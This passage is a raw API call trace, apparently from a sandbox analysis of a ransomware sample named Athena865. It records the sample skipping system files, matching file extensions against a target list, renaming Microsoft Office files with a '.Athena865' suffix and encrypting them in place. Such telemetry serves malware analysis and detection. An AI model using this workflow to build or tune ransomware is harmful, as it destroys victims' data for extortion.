lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0074.606] lstrlenW (lpString="sdf") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0074.606] lstrlenW (lpString="sis") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0074.606] lstrlenW (lpString="spq") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0074.606] lstrlenW (lpString="te") returned 2 [0074.606] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0074.606] lstrlenW (lpString="teacher") returned 7 [0074.606] lstrcmpiW (lpString1="ata.dll", lpString2="teacher") returned -1 [0074.606] lstrlenW (lpString="tmd") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0074.606] lstrlenW (lpString="tps") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0074.606] lstrlenW (lpString="trc") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0074.606] lstrlenW (lpString="trc") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0074.606] lstrlenW (lpString="trm") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0074.606] lstrlenW (lpString="udb") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0074.606] lstrlenW (lpString="udl") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0074.606] lstrlenW (lpString="usr") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0074.606] lstrlenW (lpString="v12") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0074.606] lstrlenW (lpString="vis") returned 3 [0074.606] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0074.607] lstrlenW (lpString="vpd") returned 3 [0074.607] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0074.607] lstrlenW (lpString="vvv") returned 3 [0074.607] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0074.607] lstrlenW (lpString="wdb") returned 3 [0074.607] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0074.607] lstrlenW (lpString="wmdb") returned 4 [0074.607] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0074.607] lstrlenW (lpString="wrk") returned 3 [0074.607] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0074.607] lstrlenW (lpString="xdb") returned 3 [0074.607] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0074.607] lstrlenW (lpString="xld") returned 3 [0074.607] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0074.607] lstrlenW (lpString="xmlff") returned 5 [0074.607] lstrcmpiW (lpString1="a.dll", lpString2="xmlff") returned -1 [0074.607] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.dll.Athena865") returned 79 [0074.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.dll.athena865"), dwFlags=0x1) returned 1 [0074.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.609] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=116632) returned 1 [0074.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.609] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.610] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.610] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.610] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1caa0, lpName=0x0) returned 0x17c [0074.611] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1caa0) returned 0x100000 [0074.619] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.620] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.620] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.620] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0074.621] CloseHandle (hObject=0x17c) returned 1 [0074.621] CloseHandle (hObject=0x154) returned 1 [0074.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.622] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="MI1B7D~1.XML")) returned 1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2=".") returned 1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="..") returned 1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="windows") returned -1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="bootmgr") returned 1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="temp") returned -1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="pagefile.sys") returned -1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="boot") returned 1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="ids.txt") returned 1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="ntuser.dat") returned -1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="perflogs") returned -1 [0074.622] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2="MSBuild") returned -1 [0074.622] lstrlenW (lpString="Microsoft.BusinessData.xml") returned 26 [0074.623] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.BusinessData.xml" | out: lpString1="Microsoft.BusinessData.xml") returned="Microsoft.BusinessData.xml" [0074.623] lstrlenW (lpString="Microsoft.BusinessData.xml") returned 26 [0074.623] lstrlenW (lpString="Athena865") returned 9 [0074.623] lstrcmpiW (lpString1="sData.xml", lpString2="Athena865") returned 1 [0074.623] lstrlenW (lpString=".dll") returned 4 [0074.623] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2=".dll") returned 1 [0074.623] lstrlenW (lpString=".lnk") returned 4 [0074.623] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2=".lnk") returned 1 [0074.623] lstrlenW (lpString=".ini") returned 4 [0074.623] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2=".ini") returned 1 [0074.623] lstrlenW (lpString=".sys") returned 4 [0074.623] lstrcmpiW (lpString1="Microsoft.BusinessData.xml", lpString2=".sys") returned 1 [0074.623] lstrlenW (lpString="Microsoft.BusinessData.xml") returned 26 [0074.623] lstrlenW (lpString="bak") returned 3 [0074.623] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0074.623] lstrlenW (lpString="ba_") returned 3 [0074.623] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0074.623] lstrlenW (lpString="dbb") returned 3 [0074.623] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0074.623] lstrlenW (lpString="vmdk") returned 4 [0074.623] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0074.623] lstrlenW (lpString="rar") returned 3 [0074.623] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0074.623] lstrlenW (lpString="zip") returned 3 [0074.623] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0074.623] lstrlenW (lpString="tgz") returned 3 [0074.623] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0074.623] lstrlenW (lpString="vbox") returned 4 [0074.623] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0074.623] lstrlenW (lpString="vdi") returned 3 [0074.623] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0074.623] lstrlenW (lpString="vhd") returned 3 [0074.624] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0074.624] lstrlenW (lpString="vhdx") returned 4 [0074.624] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0074.624] lstrlenW (lpString="avhd") returned 4 [0074.624] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0074.624] lstrlenW (lpString="db") returned 2 [0074.624] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0074.624] lstrlenW (lpString="db2") returned 3 [0074.624] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0074.624] lstrlenW (lpString="db3") returned 3 [0074.624] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0074.624] lstrlenW (lpString="dbf") returned 3 [0074.624] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0074.624] lstrlenW (lpString="mdf") returned 3 [0074.624] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0074.624] lstrlenW (lpString="mdb") returned 3 [0074.624] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0074.624] lstrlenW (lpString="sql") returned 3 [0074.624] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0074.624] lstrlenW (lpString="sqlite") returned 6 [0074.624] lstrcmpiW (lpString1="ta.xml", lpString2="sqlite") returned 1 [0074.624] lstrlenW (lpString="sqlite3") returned 7 [0074.624] lstrcmpiW (lpString1="ata.xml", lpString2="sqlite3") returned -1 [0074.624] lstrlenW (lpString="sqlitedb") returned 8 [0074.624] lstrcmpiW (lpString1="Data.xml", lpString2="sqlitedb") returned -1 [0074.624] lstrlenW (lpString="xml") returned 3 [0074.624] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0074.624] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.Athena865") returned 79 [0074.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.athena865"), dwFlags=0x1) returned 1 [0074.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.625] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=370536) returned 1 [0074.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.626] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.626] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.627] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.627] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5aa70, lpName=0x0) returned 0x17c [0074.628] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5aa70) returned 0x2d50000 [0074.654] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.655] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.655] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.655] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.659] CloseHandle (hObject=0x17c) returned 1 [0074.659] CloseHandle (hObject=0x154) returned 1 [0074.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.660] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="MI2E5E~1.DLL")) returned 1 [0074.660] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.660] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.660] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2=".") returned 1 [0074.660] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="..") returned 1 [0074.660] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="windows") returned -1 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="bootmgr") returned 1 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="temp") returned -1 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="pagefile.sys") returned -1 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="boot") returned 1 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="ids.txt") returned 1 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="ntuser.dat") returned -1 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="perflogs") returned -1 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="MSBuild") returned -1 [0074.661] lstrlenW (lpString="Microsoft.Office.BusinessApplications.Runtime.dll") returned 49 [0074.661] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.BusinessApplications.Runtime.dll" | out: lpString1="Microsoft.Office.BusinessApplications.Runtime.dll") returned="Microsoft.Office.BusinessApplications.Runtime.dll" [0074.661] lstrlenW (lpString="Microsoft.Office.BusinessApplications.Runtime.dll") returned 49 [0074.661] lstrlenW (lpString="Athena865") returned 9 [0074.661] lstrcmpiW (lpString1="ntime.dll", lpString2="Athena865") returned 1 [0074.661] lstrlenW (lpString=".dll") returned 4 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2=".dll") returned 1 [0074.661] lstrlenW (lpString=".lnk") returned 4 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2=".lnk") returned 1 [0074.661] lstrlenW (lpString=".ini") returned 4 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2=".ini") returned 1 [0074.661] lstrlenW (lpString=".sys") returned 4 [0074.661] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2=".sys") returned 1 [0074.661] lstrlenW (lpString="Microsoft.Office.BusinessApplications.Runtime.dll") returned 49 [0074.661] lstrlenW (lpString="bak") returned 3 [0074.661] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0074.661] lstrlenW (lpString="ba_") returned 3 [0074.661] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0074.661] lstrlenW (lpString="dbb") returned 3 [0074.661] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0074.661] lstrlenW (lpString="vmdk") returned 4 [0074.661] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0074.661] lstrlenW (lpString="rar") returned 3 [0074.661] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0074.661] lstrlenW (lpString="zip") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0074.662] lstrlenW (lpString="tgz") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0074.662] lstrlenW (lpString="vbox") returned 4 [0074.662] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0074.662] lstrlenW (lpString="vdi") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0074.662] lstrlenW (lpString="vhd") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0074.662] lstrlenW (lpString="vhdx") returned 4 [0074.662] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0074.662] lstrlenW (lpString="avhd") returned 4 [0074.662] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0074.662] lstrlenW (lpString="db") returned 2 [0074.662] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0074.662] lstrlenW (lpString="db2") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0074.662] lstrlenW (lpString="db3") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0074.662] lstrlenW (lpString="dbf") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0074.662] lstrlenW (lpString="mdf") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0074.662] lstrlenW (lpString="mdb") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0074.662] lstrlenW (lpString="sql") returned 3 [0074.662] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0074.662] lstrlenW (lpString="sqlite") returned 6 [0074.662] lstrcmpiW (lpString1="me.dll", lpString2="sqlite") returned -1 [0074.662] lstrlenW (lpString="sqlite3") returned 7 [0074.662] lstrcmpiW (lpString1="ime.dll", lpString2="sqlite3") returned -1 [0074.662] lstrlenW (lpString="sqlitedb") returned 8 [0074.663] lstrcmpiW (lpString1="time.dll", lpString2="sqlitedb") returned 1 [0074.663] lstrlenW (lpString="xml") returned 3 [0074.663] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0074.663] lstrlenW (lpString="$er") returned 3 [0074.663] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0074.663] lstrlenW (lpString="4dd") returned 3 [0074.663] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0074.663] lstrlenW (lpString="4dl") returned 3 [0074.663] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0074.663] lstrlenW (lpString="^^^") returned 3 [0074.663] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0074.663] lstrlenW (lpString="abs") returned 3 [0074.663] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0074.663] lstrlenW (lpString="abx") returned 3 [0074.663] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0074.663] lstrlenW (lpString="accdb") returned 5 [0074.663] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0074.663] lstrlenW (lpString="accdc") returned 5 [0074.663] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0074.663] lstrlenW (lpString="accde") returned 5 [0074.663] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0074.663] lstrlenW (lpString="accdr") returned 5 [0074.663] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0074.663] lstrlenW (lpString="accdt") returned 5 [0074.663] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0074.663] lstrlenW (lpString="accdw") returned 5 [0074.663] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0074.663] lstrlenW (lpString="accft") returned 5 [0074.663] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0074.663] lstrlenW (lpString="adb") returned 3 [0074.663] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0074.666] lstrlenW (lpString="adb") returned 3 [0074.666] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0074.667] lstrlenW (lpString="ade") returned 3 [0074.667] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0074.667] lstrlenW (lpString="adf") returned 3 [0074.667] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0074.667] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.dll.Athena865") returned 102 [0074.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.dll.athena865"), dwFlags=0x1) returned 1 [0074.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.668] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=567168) returned 1 [0074.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.668] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.669] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.669] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.669] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8aa80, lpName=0x0) returned 0x17c [0074.671] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8aa80) returned 0x2d50000 [0074.699] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.699] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.700] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.700] RtlAllocateHeap (HeapHandle=0x4f0000, 